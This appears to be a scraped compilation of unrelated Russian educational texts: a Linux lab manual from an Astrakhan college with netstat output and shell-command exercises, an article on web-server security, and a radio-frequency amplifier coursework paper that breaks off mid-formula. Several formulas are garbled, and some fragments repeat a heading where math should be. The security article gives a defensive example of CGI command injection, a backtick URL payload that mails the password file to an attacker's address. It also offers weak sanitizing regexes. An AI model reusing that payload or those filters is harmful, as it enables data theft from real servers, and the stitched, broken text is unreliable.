Tcp:

2428 active connections openings

0 passive connection openings

0 failed connection attempts

0 connection resets received

17 connections established

154840 segments received

318758 segments send out

1480 segments retransmited

99 bad segments received.

499 resets sent

Udp:

13397 packets received

73 packets to unknown port received.

12 packet receive errors

5608 packets sent

TcpExt:

15 resets received for embryonic SYN_RECV sockets

Утилита netconf

Настройки локальной сети можно производить и с помощью специальных утилит netconf или netcfg, которые являются просто составной частью пакета linuxconf. Первая из них работает в графическом режиме, а вторая — в текстовом.

Надо иметь в виду, что многие опытные пользователи Linux критически относятся к возможностям пакета linuxconf и предпочитают прямое редактирование конфигурационных файлов. Но для новичка эти утилиты могут оказаться удобнее.

Практическая работа №7(1) Утилита netstat: список соединений, открытых на сервере

Цель работы:

С помощью утилиты netstat исследовать состояние локальной IP-сети.

Научиться получать список соединений, открытых на сервере.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

С помощью утилиты netstat получить список соединений, открытых на сервере. Прокомментировать соединения, находящиеся в режиме ESTABLISHED (внутренний или внешний интерфейс, с каким узлом, по какому протоколу).

Практическая работа №7(2) Утилита netstat: таблица маршрутизации

Цель работы:

С помощью утилиты netstat исследовать состояние локальной IP-сети.

Научиться анализировать таблицу маршрутизации.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Получить таблицу маршрутизации. Указать, через какие интерфейсы с какими сетями происходит связь, имя шлюза, маски локальных сетей.

Практическая работа №7(3) Утилита netstat статистика сетевых интерфейсов, статистика передачи данных

Цель работы:

С помощью утилиты netstat исследовать состояние локальной IP-сети.

Научиться анализировать статистику сетевых интерфейсов и статистику передачи данных.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Получить статистику сетевых интерфейсов. Построить графики статистической информации для внутренней (eth0) и внешней (eth1) локальных сетей, объяснить значение установленных флагов. Сравнить количество ошибок с требованиями, предъявляемыми к работе сетей; сделать вывод о работе локальной сети.

Получить статистику сетевых интерфейсов. Проанализировать работу каждого из протоколов. Для протокола ICMP построить графики входной и выходной гистограмм.

Контрольные вопросы:

Каково назначение утилиты netstat?

Какие ключи утилиты netstat позволяют отображать порты, находящиеся в активно и/или пассивном состоянии?

В каких состояниях может находиться сервер в системе?

Какой ключ утилиты netstat позволяет отображать таблицу маршрутизации?

Какую информацию отражает таблица маршрутизации?

Как с использованием утилиты netstat вывести статические данные всех используемых интерфейсов? Какую информацию позволяют выяснить эти данные?

Как вывести на экран содержимое счетчиков сетевых протоколов? Что позволяет выявить данная информация?

Какие утилиты, позволяют производить настройку локальной сети?

Раздел 3. Сервисные и прикладные программы ASP Linux

Тема 3.1. Архивация данных

3.1.1. Архиваторы ASP Linux

Архив — это файл, заключающий в себе содержимое многих файлов. Кроме того, архив идентифицирует имена файлов, их хозяев и т.д. (в архивах также записываются разрешение доступа, пользователь и группа, размер в байтах и время последней модификации. В некоторых архивах еще указываются имена файлов в каждом заархивированном каталоге и информация о каталогах).

Файлы, содержащиеся в архиве, называются членами архива.

Основным средством архивирования в UNIX (а, следовательно, и в Linux) является комплекс из двух программ — tar и gzip. Хотя никто не запрещает пользоваться arj, pkzip, lha, rar и т. д. — версии этих программ для Linux общедоступны. Просто уж исторически сложилось, что пользователи Unix чаще применяют именно  tar и gzip, и именно в таком формате распространяется большая часть программного обеспечения для Unix.

«Зачем использовать две программы архивирования?” Все дело в том, что tar расшифровывается как Tape ARchiver, он не сжимает данные, а лишь объединяет их в единый файл с последовательным доступом для последующей записи на ленту. По умолчанию этот архивный файл создается на ленточном накопителе, точнее на устройстве /dev/rmt0. Если вы хотите создать архивный файл на диске, то необходимо использовать команду tar с опцией f, после которой указывается имя архивного файла.

Хотя программа tar создает архивы, она, как было сказано, не сжимает архивы, а просто соединяет отдельные файлы в единый архивный файл. Для сжатия этого файла часто применяют команду gzip.

Поскольку программа gzip не умеет сохранять в одном архиве несколько файлов, то обычно ее применяют для сжатия архивов, созданных программой tar.

В последнее время все чаще вместо программы gzip используется архиватор bzip2, который обеспечивает более высокую степень сжатия и работает несколько быстрее. Команда bzip2 обычно не устанавливается автоматически при инсталляции Linux. Но она имеется на дистрибутивном диске в виде rpm-пакета и ее легко установить.

Работает bzip2 примерно так же, как команда gzip, т. е. замещает каждый файл, имя которого задано в командной строке, сжатой версией, добавляя к имени файла суффикс .bz2.

Сжатый файл имеет то же самое время модификации, права доступа и, по возможности, того же владельца, что и исходный файл, что дает возможность восстановить эти атрибуты при извлечении файлов из архива.

В некоторых случаях сжатый файл может оказаться даже больше по размеру, чем исходный. Это происходит, например, для файлов длиной менее 100 байт, потому что механизм сжатия использует заголовок длиной около 50 байт. Для файлов, представляющих собой случайную последовательность символов (в том числе для выходных файлов большинства файловых архиваторов) длина файла увеличивается примерно на 0.5%.

Утилита ark

Архиваторы tar, zip, gzip, bzip2, lha изначально были предназначены для работы через интерфейс командной строки. В настоящее время существуют программы, представляющее собой графические оболочки для упаковщиков и архиваторов. Они не подменяют их собой, а лишь обеспечивают более удобный (интуитивно понятный) интерфейс работы с архивами.

В KDE имеется утилита ark, позволяющая работать с архивами tar, zip, gzip, bzip2, lha. Она входит в состав пакета kdeutils-2.2.1-1.asp, ее внешний вид представлен на рис. 1.

Оперциаонные системы ASP Linux и Windows

Рис.3.1.1.

Ark прост в использовании, имеет русифицированное меню. Кроме них можно пользоваться программами LinZip, Karchiveur и RAR для Linux.

Практическая работа №8(1). Создании архивов с использованием программ архивации tar, gzip, bzip, bzip2

Цель работы:

Изучить основные возможности архиваторов Linux

Научиться работать с архиваторами tar, gzip, bzip, bzip2.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Создайте в своем домашнем каталоге папку «Архиваторы»

В графической среде Linux осуществите поиск файлов в корневом каталоге с расширением txt. Найденные файлы поместите в созданную ранее папку

Упакуйте папку «Архиваторы» в архив tar. Для этого в программе Konqueror выделите нужную папку, вызовите контактное меню и выберите в нем пункт «Упаковать» и выберите соответствующий пункт упаковки. Просмотрите свойства созданного архива. Определите его объем.

Созданный архив упакуйте, используя методы упаковки: gzip и bzip2. Просмотрите свойства созданных архивов. Определите их объем.

Упакуйте папку «Архиваторы» в zip архив. Просмотрите свойства созданного архива. Определите его объем.

Упакуйте папку «Архиваторы» методами tar-gzip и tar-bzip2. Просмотрите свойства созданных архивов. Определите их объем.

Проанализируйте различные методы упаковки архивов на основании полученных данных. Какой метод упаковки плотнее?

Завершить сеанс работы с системой.

Практическая работа №8(2) Менеджер архивов ark

Цель работы:

Познакомиться с работой менеджера архивов ark

Научится работать с менеджером архивов: просматривать архивы, добавлять информацию в архивы, удалять файлы из архива.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение программу Терминал.

Запустите менеджер архивов KDE (Стандартные/Ark). Для каких целей предназначена данная программа? С какими форматами архивов она работает?

Откройте один из созданных ранее в практической работе 8(1) архивов. Какие файлы содержит архив? Какие операции можно осуществлять с архивом, используя программу atk?

Просмотрите содержимое любого файла из архива. Каковы результаты просмотра?

Удалите любой из файлов архива. Какие способы удаления файлов из архива Вы знаете?

Осуществите распаковку файлов из архива в любую созданную Вами в личном каталоге директорию.

Откройте любой другой архив. Осуществите выборочную распаковку файлов из архива в директорию Вашего личного каталога.

Добавьте в архив созданный Вами файл.

Распакуйте весь архив в новую папку в домашнем каталоге.

Удалите файлы с которыми Вы работали по завершении оформления отчета.

Завершите сеанс работы с ОС Linux.

Контрольные вопросы:

Объясните понятие архива. Какие форматы архивов Linux Вы знаете?

Что означает понятие член архива?

Есть ли различие во времени модификации и правах доступа сжатого и исходного файлов?

Существуют ли случаи, когда сжатый файл оказывается больше по размеру, чем исходный? Если да, то почему такое возможно?

Для каких целей предназначена программа tar?

Для каких целей предназначена gzip?

Как работает программа bzip2? Какова степень сжатия архивов данной программой?

Для каких целей предназначен менеджер архивов ark? Какие форматы архивов он поддерживает?

Тема 3.2. Знакомство с текстовым редактором ASP Linux пакта

OpenOffice

3.2.1. Работа с текстовым редактором OpenOffice.org Writer:

основные принципы работы

Текстовые процессоры Linux

Текстовых процессоров для Linux существует множество. Наиболее известны из них StarWriter из пакета StarOffice фирмы Sun и процессор Word Perfect 8. Аналог последнего, разработанный для ОС Windows, долгое время на равных конкурировал с пакетом MS Word, что, конечно, говорит о его высоком качестве.

Особое место среди текстовых процессоров занимает издательская система TEX и основанные на ней продукты типа Lyx. TEX — это скорее язык программирования, чем текстовый редактор? простому пользователю, которому редактор нужен для написания деловых писем или диссертации, вряд ли стоит браться за его изучение.

13 октября 2000 года Sun открыла исходные коды пакета StarOffice. Тем самым появился проект OpenOffice.org.

Исходные коды OpenOffice.org основаны на технологии, которая первоначально была разработана Sun Microsystems для будущих версий пакета StarOffice(TM). В отличие от StarOffice проект OpenOffice.org не содержит интегрирующей оболочки — архитектура пакета предполагает отдельное использование входящих в пакет приложений. Пакет написан на языке C++, и включает в себя все основные офисные приложения, такие как текстовый процессор, электронную таблицу, программу управления презентациями, программу для работы с графикой, средства создания диаграмм и редактирования формул. Но OpenOffice.org не включает в себя клиента электронной почты, календаря и браузера.

Среди новшеств можно отметить использование формата файлов, основанного на стандарте XML, что облегчает взаимодействие с другими продуктами (и, следовательно, с другими пользователями компьютеров), а также обеспечивает ясные перспективы развития продукта в будущем. В состав продукта включены конверторы для других распространенных файловых форматов, включая форматы всех версий Microsoft Office, и улучшена поддержка азиатских языков (китайского, японского, корейского).

В настоящее время локализация пакета OpenOffice.org выполнена для 27 языков. Пакет стабильно работает в операционных системах Solaris, Linux (включая PPC Linux) и Windows. Перенос его на платформы FreeBSD, IRIX и Mac OS X находится в стадии завершения.

Впервые появилась возможность под Linux работать с файлами, созданными в Microsoft Office, то есть нет необходимости запускать эмуляторы для того, чтобы просмотреть файл формата MS Word , полученный как вложение по электронной почте от любого из приверженцев Microsoft.

Окно OpenOffice.org Writer

Внешний вид окна программы несколько непривычен для пользователя MS Office. Окно OpenOffice.org Writer содержит следующие элементы:

Заголовок окна, содержащий три кнопки управления приложением, названия приложения и активного документа;

Строку меню, позволяющую выбрать и выполнить любую команду редактора;

Горизонтальные панели инструментов, содержащие кнопки для выполнения основных команд и настроек;

Вертикальная панель инструментов (слева);

Горизонтальную линейку для установки отступов от границ страницы;

Линии прокрутки (горизонтальная полоса прокрутки содержит четыре кнопки выбора режима отображения);

Строку состояния, отображающую координаты курсора и номера страницы и раздела).

Основные элементы документа:

К основным объектам текста относятся следующие элементы:

Символ   минимальный элемент текста. Внешне воспринимается как отдельный знак.

Абзац – оформленный определенным образом фрагмент текста. Выделение абзаца диктуется содержанием текста. Абзац заканчивается нажатием клавиши Enter. Конец абзаца отмечается символом ¶.

Колонтитул – область страницы, в которой размещается справочный текст. Обычно   это номер страницы, название документа, раздела или главы. Различают Верхний и Нижний колонтитулы.

Сноска – пояснение к отдельному слову или предложению, размещается вне основного текста внизу страницы или в конце документа.

Примечание – комментарий к слову или фрагменту текста, появляющийся в виде всплывающих подсказок.

Страница – фрагмент документа, размещаемый при печати на отдельной странице. Содержит текст (возможно с таблицами и рисунками) и колонтитулы.

Список – фрагмент текста, содержащий нумерованные или отмеченные маркерами строки.

Стиль – набор способов оформления абзацев для различных элементов текста (заголовков, названий, колонтитулов и др.) и символов.

Практическая работа №9(1) Работа с текстовым редактором OpenOffice.org Writer: создание итогового отчета

Цель работы:

Ознакомиться с возможностями и основными объектами приложения OpenOffice.org Writer

Освоить приемы форматирования символов и абзацев.

Оформить титульный лист отчета по практике.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение OpenOffice.org Writer и найдите основные элементы окна, ответьте на контрольные вопросы.

Создайте новый документ. Установите параметры страницы:

Верхнее поле — 2 см,

Нижнее поле — 1,5 см

Правое поле — 1,5 см,

Левое поле — 2,5 см

Наберите текст своего титульного листа в виде 8 строк текста (выравнивание по правому краю, шрифт Helvetica, кегль 12) в соответствии с образцом:

ГОУ СПО АСТРАХАНСКИЙ КОЛЛЕДЖ ВЫЧМСЛИТЕЛЬНОЙ ТЕХНИКИ

Специальность 2206

ОТЧЕТ

о выполнении практических работ по учебной практике

«Операционные системы и среды»

Выполнил: студент гр. ИК-21 н.д. Иванов В.Г.

Проверил: Прошунина Л.М.

2005

Сделайте видимыми границы текста.

Отформатируйте текст правильно, не вставляя лишних пустых строк, задавая параметры:

— для первой, третей, четвертой, пятой строк выравнивание по центру;

— для первой и второй строки: начертание Полужирный, кегль 12;

— для второй строки: интервал перед абзацем 18; выравнивание по правому краю

— для третей строки: кегль 18, интервал перед абзацем 250, начертание Полужирный

— для четвертой и пятой строки: кегль 16,

— для шестой строки: кегль 14, интервал перед абзацем 90,

— для седьмой строки: кегль 14, интервал перед абзацем Авто,

— выделив шестую и седьмую строки, сдвиньте их с помощью клавиши табуляции [Таб] вправо, с помощью этой же клавиши выровняйте начало текстов после двоеточия;

— для последней строки: кегль 14, интервал перед абзацем 250, выравнивание по центру, начертание Полужирный.

Пример отформатированного титульного листа приведен в Приложении 1.

Сохраните текст.

Практическая работа №9(2) Работа с текстовым редактором OpenOffice.org Writer: создание итогового отчета

Цель работы:

Ознакомиться с возможностями и основными объектами приложения OpenOffice.org Writer

Освоить приемы форматирования символов и абзацев.

Оформить титульный лист отчета по практике.

Порядок выполнения работы

Зарегистрируйтесь в ОС Linux. Запустите на выполнение OpenOffice.org Writer и найдите основные элементы окна, ответьте на контрольные вопросы.

Откройте созданный на практической работе 9(1) титульный лист итогового отчета.

Продолжив документ на следующей странице оформите отчет по практике. В отчете должны содержаться следующие разделы:

1. Цели и задачи практики;

2. База практики;

3. Содержание практики;

4. Рабочий этап практики;

5. Отзыв руководителя практики;

6. Приложения.

Контрольные вопросы:

Какие виды работ позволяет выполнить текстовый редактор OpenOffice.org Writer?

Найдите в тексте описания практической работы абзацы, заголовки, списки.

В каких единицах представлен размер шрифта в OpenOffice.org Writer?

Что такое колонтитул, сноска, примечание?

Что представляют собой Панели инструментов?

Как выделить фрагмент текста в OpenOffice.org Writer?

Как выделить строку и несколько строк в OpenOffice.org Writer?

Как следует набирать абзац?

Перечислите основные параметры символа.

Перечислите основные параметры абзаца.

Перечислите основные параметры страницы.

Как выделяются при наборе знаки препинания?

Как настроить автоматическую расстановку переносов?

Какое расширение имеют файлы документов, подготовленных с помощью OpenOffice.org Writer?

Как вводятся в текст знаки, отсутствующие на клавиатуре?

В каких случаях удобно пользоваться автозаменой?

Как настроить Word на выполнение автозамены?

Перечислите виды работ по созданию и форматированию текста, которые Вы освоили в данной лабораторной работе.

Тема 3.3. Итоговое зачетное занятие

Завершением практики является сдача отчета преподавателю и выполнение индивидуального задания.

Описание рабочего этапа практики должно содержать следующие подразделы:

1. Задание

2. Выполнение задания

Итоговое задание по практике

Вариант 1

Дайте ответ на поставленный вопрос:

Какие системные имена каталогов Вам известны? Объясните назначение и содержание каждого поля каталога. Какую информацию содержит «пустой» вновь созданный каталог?

Напишите команду shell, выполняющую указанные действия:

А) поиск файлов в корневом каталоге типа директория

Б) переименование файла temp в tmp

В) удаление в каталоге /home/linux/user06/I-21 всех файлов, имена которых заканчиваются на однозначную цифру

Г) создание на файл Alpha символьной ссылки с именем SALP в корневом каталоге

Д) просмотр содержимого текущего каталога с выводом скрытых файлов

Е) просмотр всех активных процессов в системе

Ж) запуск процесса yes в фоновом режиме

З) установить права доступа для файла liter: для владельца – все права, для группы владельца и остальных пользователей – только чтение

Расшифруйте выданное в результате выполнения команды сообщение:

ls –l grt

-rwxr-xr— 2 root root 105 10 Ноября 2005 grt

Вариант 2

Дайте ответ на поставленный вопрос:

Как создать несколько ссылок с совпадающими именами на несколько файлов в другом каталоге? Как отражается на содержимом связанных файлов изменение содержания одного из них и почему? На какой атрибут и как влияет удаление одного из связанных файлов?

Напишите команду shell, выполняющую указанные действия:

А) поиск в текущем каталоге всех файлов, размер которых более 10 байт

Б) переход в вышележащий каталог

В) копирование из каталога /home/linux/user06/I-21 всех файлов, с расширением txt в каталог /home/linux/user06/ tmp

Г) создание в текущем каталоге жесткой ссылки с именем ssl на файл /home/linux/user06/tmp/jaf

Д) просмотр содержимого текущего каталога с выводом инодов файлов

Е) просмотр информации обо всех запущенных процессах в системе в длинном формате

Ж) убить процесс с идентификатором 1090

З) запретить следующие права доступа к файлу: liter: выполнение — для группы владельца и все права — для остальных пользователей

Расшифруйте выданное в результате выполнения команды сообщение:

ls –l grt

drwxr-x— 1 user users 10 5 Ноября 2005 grt

Вариант 3

Дайте ответ на поставленный вопрос:

Объясните понятие архива. Какие форматы архивов Linux Вы знаете? Для каких целей предназначена программа tar, gzip, bzip2?

Напишите команду shell, выполняющую указанные действия:

А) поиск в текущем каталоге всех файлов, на которые имеется более одной ссылки

Б) создать текстовый файл ret в текущем каталоге

В) создать каталог yY в текущем каталоге

Г) создание в текущем каталоге жесткой ссылки с именем yE на файл yY

Д) просмотр содержимого текущего каталога с выводом специальных символов в конце файла

Е) перевести работу с номером 2 с переднего плана работы в фоновой режим

Ж) запустить процесс поиска всех директорий в текущем каталоге с приоритетом, численное значение которого увеличено на 5 пунктов

З) добавить следующие права доступа к файлу: liter: чтение и выполнение — для группы владельца и чтение — для остальных пользователей

Расшифруйте выданное в результате выполнения команды сообщение:

ls –l grt

lrwxr-x— 3 user users 5 5 Ноября 2005 grt ->jj

Вариант 4

Дайте ответ на поставленный вопрос:

Кто может пользоваться и изменять права доступа к файлам? Как кодируются в атрибутах файла и каталога права доступа?

Напишите команду shell, выполняющую указанные действия:

А) поиск в корневом каталоге всех файлов, размер которых менее 50 байт

Б) справку по команде rm перенаправить в текстовый файл spr, расположенный в текущем каталоге

В) определить текущий каталог

Г) создание в текущем каталоге символьную ссылку с именем DDD на файл spr

Д) просмотреть содержимого текущего каталога с выводом информации о файлах в длинном формате

Е) запустить процесс просмотра содержимого файла spr с приоритетом, увеличенным на 10 пунктов

Ж) просмотреть список запущенных процессов

З) для файла liter: установить права доступа для владельца – все права, для группы владельца – только чтение, убрать право записи для остальных пользователей

Расшифруйте выданное в результате выполнения команды сообщение:

$ps -flu lev

PID PPID TTY PRI TIME CMD

927 1 tty5 0:04 sh

1001 927 tty5 0:02 ps

Вариант 5

Дайте ответ на поставленный вопрос:

В чем особенности и преимущества встроенного редактора vi ОС UNIX? Какие два основных режима работы использует редактор? Как осуществляется переключение режимов?

Напишите команду shell, выполняющую указанные действия:

А) запустить процесс просмотра содержимого файла ter в фоновом режиме

Б) объединить два текстовых файла text1 и text2 в текстовом файле ter

В) обновить временные характеристики файла text1

Г) создание в текущем каталоге жесткой ссылки с именем DDD на файл ter

Д) просмотреть содержимого текущего каталога с выводом информации об уникальных именах файлов

Е) поиск в домашнем каталоге всех файлов с расширением txt

Ж) приостановить работу процесса

З) для файла liter установить права доступа для владельца – чтение и запись, для группы владельца и остальных пользователей отменить все права

Расшифруйте выданное в результате выполнения команды сообщение:

$ps

PID TTY TIME CMD

194 tty5 0:02 grep

200 tty5 0:01 ps

Приложение 1

ГОУ СПО АСТРАХАНСКИЙ КОЛЛЕДЖ ВЫЧМСЛИТЕЛЬНОЙ ТЕХНИКИ

Специальность 090108

ОТЧЕТ

о выполнении практических работ по учебной практике

«Операционные системы и среды»

Выполнил: студент гр. ИК-21 н.д. Иванов В.Г.

Проверил: Прошунина Л.М.

2005

Литература

Болл Билл “Линукс за 24 часа”, изд. Дом “Вильямс”, Ю, С-Пб, 1999

Браун С. Операционная система Unix – М.: Мир, 1986

Карлинг М., Деглер С., Деннис Дж. Системное администрирование Linux.: Пер. с англ.: Уч. пос. – М.: Издательский дом «Вильямс», 2000.

Кирх О. Linux для профессионалов. Руководство администратора сети. – СПб: Издательство «Питер», 2000.

Шевель А. “LINUX Обработка текстов. Специальный справочник”. – СПб. : Питер, 2001

Зубков С.В. «Linux» – М.: ДМК Пресс,2000 г.

В.Костромин, «Linux для пользователя» – СПб: БХВ-Петербург, 2002 г.

Технические средства обучения

Практика проводится в учебном вычислительном центре (УВЦ) Астраханского колледжа вычислительной техники в компьютерном классе № 232.

Аппаратные средства:

Процессор Celeron 1700МГц

OЗУ DIMM 256 Mbt SDRAM

Дисковод 3,5 “ 1,44 Mbt

Жесткий диск Futjitsu 10 Gbt

Сеть Fast Ethernet PCI 100 Mbt/с

Hub: Gompex ReadyLink RE 100 TX

Клавиатура 105 – кнопочная

Мышь PS/2 2-х кнопочная

Монитор Samsung 15“ 0,28, Sync Master 550S, MPR 11

Программные средства:

Операционная система ASP Linux 9.0

Офисный пакет OpenOffice.org

Статья: Некоторые аспекты безопасности Веб-серверов на Unix платформах

Андрей Новиков

Предисловие

Защищенность компьютера, на котором работает Веб-сервер, и данных, находящихся на этом компьютере, зависит от многих аспектов. Основными из них являются:

Корректность настройки Веб-сервера.

Корректность построения дерева файловой системы.

Корректность установки прав доступа к файлам Веб-сервера.

Правильное написание CGI сценариев и программ.

Рассмотрим их по очереди.

Корректность настройки Веб-сервера

На безопасность работы Веб-сервера влияют некоторые настройки, устанавливаемые вами в файлах конфигурации. Я буду говорить в основном о сервере Apache, хотя все замечания в равной степени применимы и к другим серверам.

Прежде всего вам необходимо правильно выбрать пользователя, под которым будет работать Веб-сервер. Дело в том, что в Unix для того, чтобы подсоединиться к 80 порту, по умолчанию используемому в HTTP протоколе, Веб-серверу необходимо иметь права пользователя root. Но отвечать на запросы пользователей с такими правами очень не безопасно. Поэтому Веб-сервер порождает детей с правами другого пользователя, которые и обрабатывают запросы пользователей. В файле конфигурации (http.conf) необходимо указать имя пользователя, под которым будут запускаться дочерние процессы, и группу, к которой он принадлежит. В сервере Apache за это отвечают директивы User и Group.

Необходимо создать отдельного пользователя и группу, например apache и webstuff. Нельзя использовать предлагаемые по умолчанию nobody:nogroup — на некоторых системах это открывает «дыры» в защите. Ни в коем случае также нельзя запускать Веб-сервер из под пользователя webadmin, который обычно занимается всем этим хозяйством, т.к. он имеет права записи во все файлы (см. установку прав доступа к файлам). Обязательно запретите login для созданного вами пользователя.

Очень важным моментом в настройке Веб-сервера является настройка файла прав доступа (access.conf). Необходимо начать с корня дерева документов сервера и при необходимости конкретизировать установки ниже по дереву для отдельных подкаталогов. На мой взгляд более надежно использовать директиву , а не , т.к. она защищает конкретные наборы файлов, независимо от того, как вы к ним попали (ведь в серверах под Unix можно очень эффективно пользоваться линками к файлам и директориям, делая логическую структуру дерева документов более удобной). Если вы используете Alias, очень внимательно проанализируйте все возможные варианты построения логического дерева (пути к файлу).

С самого начала отмените директиву построения индексов (Option Indexes). Если вдруг пропадет файл index.html в каком-либо каталоге, сервер не построит список всех файлов в каталоге. Такой список в некоторых случаях может содержать нежелательные служебные файлы, которые пользователь не должен видеть. Обладание им открывает еще одну потенциальную «дыру». Несмотря на запрет индексирования помещайте в каждый каталог файл index.html хотя бы с пустым (это уже паранойя, но все же…).

Разрешайте серверу следовать символьным ссылкам только если вы действительно ими пользуетесь.

Для каталога /cgi-bin запретите все кроме ExecCGI. Проверьте, что скажет ваш сервер, если вы запросите http://www.server.dom/cgi-bin/. Он должен послать вас очень далеко, а не выдать список всех ваших сценариев!

Все служебные URL, такие как /server-status, /server-conf, должны быть открыты только для вашего доступа. При этом указывайте ваш IP адрес, а не hostname, т.к. hostname можно подделать, а IP адрес намного сложнее.

Корректность построения дерева файловой системы

Важно заранее очень хорошо продумать структуру каталогов. Ведь они отражают структуру вашего узла и менять потом все очень сложно. Учитывайте, что количество документов по одной теме будет все время расти. В каталоге не должно быть слишком много файлов. Это затрудняет их поиск, вы можете по ошибке что-то удалить, да и просто усложняет вам работу.

Очень важно, чтобы каталог с настройками, каталог с файлами регистрации (logs) и каталог со сценариями находились выше дерева документов. Доступ к каталогу сценариев должен осуществляться директивой ScriptAlias. Рекомендуется такая структура:

site_____conf

|__logs

|__cgi-bin

|__htdocs

Очень аккуратно пользуйтесь связями, ведущими вне дерева документов. Старайтесь ссылаться только на отдельные файлы, а не на целые каталоги. Но если это нужно, то можно.

Корректность установки прав доступа к файлам Веб-сервера

Все файлы ниже каталога site не должны принадлежать пользователю, под которым работает сервер (apache), но должны принадлежать группе, в которую входит это пользователь (webstuff).

Обычно файлами владеет webadmin, также принадлежащий группе webstuff. Все каталоги и файлы должны создаваться с umask = 027, т.е. группа (читай — Веб-сервер) должна иметь только права на чтение и исполнение, а все остальные (не webadmin) не должны иметь никаких прав. Таким образом вам останется охранять только login root’а и webadmin’а.

Правильное написание CGI сценариев и программ

Одним из основных способов попасть в Ваш сервер, это воспользоваться неправильно написанным сценарием. Существует большое количество книг по безопасным сценариям. Я опишу только основные моменты.

Первым способом нарушить работу сценария является переполнение буфера ввода. Никогда не указывайте размер буфера исходя из разумных соображений. Определяйте его динамически:

read(STDIN, $buffer, $ENV{‘CONTENT_LENGTH’});

Неплохо также перед этим проверить $ENV{‘CONTENT_LENGTH’} и уменьшить ее до некоего разумного предела.

Вторым важным моментом является внедрение команд ОС в возвращаемые сценарию переменные. Возьмем пример:

Пусть у на в сценарии будет строка (@usernames — массив имен)

system «finger @usernames 2>&1»;

Если мы вызовем такой сценарий строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?andy+bob

то все будет замечательно. Но, если его вызвать строкой http://www.yoursite.ru/cgi-bin/bad_finger.pl?`mail+badguys@hackers.org+ то ваш файл паролей улетит к «нехорошим парням».

В связи с этим только в крайних случаях используйте такие команды, как system(), exec() и eval(). Всегда проверяйте значения переменных на наличие метасимволов и удаляйте их. Например так:

$value =~ tr/'»tnr/<>|;//d;

$value =~ s///g;

Ну а самым надежным способом является проверка каждого поля на точный шаблон данных, которые вы ожидаете получить. Например, если вы запросили почтовый индекс, проверьте его строкой:

$zip =~ /^d{6}$/

а если запросили адрес электронной почты, строкой:

$email=~s#(w+(-|.|))+@(w+(-|.|))+(ru|su|be|ca|cz|ee|fi)##io;

Заключение

Следуя этим нехитрым правилам вы значительно обезопасите ваш сервер от поползновений «нехороших парней», как их мило называют в зарубежной литературе. Главное, это помнить основной принцип обеспечения безопасности — запретите ВСЕ, а потом разрешайте только то, что Вам ДЕЙСТВИТЕЛЬНО необходимо.

Контрольная работа: Расчет усилителя радиочастоты

ФЕДЕРАЛЬНОЕ АГЕНТСТВО ВОЗДУШНОГО ТРАНСПОРТА

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ПРОФЕССИОНАЛЬНОГО ОБРАЗОВАНИЯ

«МОСКОВСКИЙ ГОСУДАРСТВЕННЫЙ

ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ

ГРАЖДАНСКОЙ АВИАЦИИ»

Кафедра технической эксплуатации радиоэлектронных систем воздушного транспорта

Контрольная работа

по дисциплине «Приём и обработка сигналов»

студента 4 курса заочного факультета

Храпова Владимира Алексеевича

Москва 2010

Проектирование радиоприемных устройств на микросхемах может быть осуществлено по тем же методикам, которые используются при расчете схем, выполненных на дискретных элементах.

Некоторые особенности и трудности проявляются обычно при определении входных и выходных параметров микросхем на рабочих частотах. Эти параметры часто отсутствуют в паспортных данных микросхемы и поэтому их приходится вычислять.

Методики расчета каскадов предварительного усиления низкой частоты, промежуточной частоты, радиочастоты, транзисторных смесителей являются довольно близкими и имеют только некоторые характерные отличия, связанные с различным типом нагрузки, возможной неоднотипностью резонансных систем, частотной зависимостью параметров активных элементов и сопротивления реактивных элементов, неодинаковостью крутизны, входного и выходного сопротивлений каскада, работающего в режимах усиления и преобразования.

Задача расчета указанных типов каскадов состоит в определении эквивалентного сопротивления нагрузки, в том числе параметров и типов резонансных систем (если они есть), их коэффициентов включения, коэффициента усиления каскада, сравнении его с допустимым из условия устойчивости, вычислении величин навесных элементов, служащих для межкаскадной связи, фильтрации напряжения, термостабилизации режима, введений обратных связей, определении входных и выходных сопротивлений каскада и т.п. При расчете радиочастотных трактов радиоприемников, если это необходимо, строят резонансную кривую, характеризующую изменение выходного напряжения от частоты входного сигнала, определяют полосу пропускания каскада, коэффициент шума. При расчете усилителя радиочастоты интересуются изменением резонансного коэффициента усиления каскада по диапазону, выбирая типы схем УРЧ и входной цепи таким образом, чтобы общая неравномерность резонансного коэффициента усиления преселектора по диапазону была минимальной.

Очень важной величиной, определяющей свойства каскада, является коэффициент усиления напряжения. В общем виде его можно найти как К = Sf  R0, где Sf — крутизна транзистора ила микросхемы на рабочей частоте; R0 — сопротивление нагрузки с учетом влияния последующего каскада на рабочей частоте. Рассмотрим эти величины.

Крутизна вольтамперной характеристики микросхем или транзистора как части микросхемы не является постоянной величиной. Она будет иметь паспортные значения только в условиях эксплуатации, близких к условиям измерения. Во всех остальных случаях следует учитывать изменение крутизны при изменении рабочей частоты, тока через транзистор, функции, выполняемой микросхемой (усиление, преобразование частоты), глубину обратной связи.

Частотная зависимость крутизны в области верхних частот для однокаскадного усилителя описывается известным выражением

S = S0 / (1 + 2   j ),

где S0 — крутизна на частотах, при которых влияние реактивных элементов транзистора и схемы мало (средние частоты);

= 1 / (2  fs) — постоянная времени входа каскада на высших частотах,

fs — граничная частота по крутизне. Отсюда модуль крутизны

Расчет усилителя радиочастоты; Расчет усилителя радиочастоты,

причем для биполярного транзистора в схеме о общим эмиттером

= rб (1 + h21э) / [(2 f т)  (rбэ + rб + Rc)],

где Rс — выходное сопротивление источника сигнала (предыдущего каскада);

fт — предельная частота усиления тока в схеме с общий эмиттером;

rб’ — распределенное сопротивление базы на высокой частоте;

rб’э — динамическое сопротивление эмиттерного перехода;

h21э — коэффициент передачи по току транзистора в схеме с общим эмиттером.

Входящие в последнее выражение величины, легко определять, если известны типы транзисторов, входящих в микросхему. В этом случае

fт = h21эf  f,

